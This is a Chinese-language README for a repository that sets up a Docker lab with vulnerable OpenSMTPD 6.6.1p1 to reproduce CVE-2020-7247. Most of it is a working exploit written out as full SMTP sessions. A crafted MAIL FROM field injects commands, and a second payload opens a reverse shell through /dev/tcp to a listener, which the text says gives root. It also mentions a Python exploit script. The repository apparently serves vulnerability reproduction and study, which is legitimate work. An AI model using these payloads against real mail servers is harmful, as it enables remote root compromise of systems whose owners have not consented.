minhluannguyen/cve-2020-7247-reproducer基于Docker的环境，用于复现CVE-2020-7247（OpenSMTPD），附带一个Python利用脚本，通过精心构造的SMTP MAIL FROM字段实现任意命令执行和反弹shell。
此仓库包含构建Docker镜像所需的文件，该镜像包含易受攻击的OpenSMTPD (6.6.1p1)环境。该漏洞允许攻击者通过特制的SMTP会话（特别是MAIL FROM字段）执行任意命令。
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. 执行任意命令：
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. 获取反弹Shell：
设置监听器：
nc -lnvp 8080
运行exploit.py脚本（在另一个终端）：
python3 exploit.py
或者手动执行：
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
现在您应该拥有主机上root的Shell。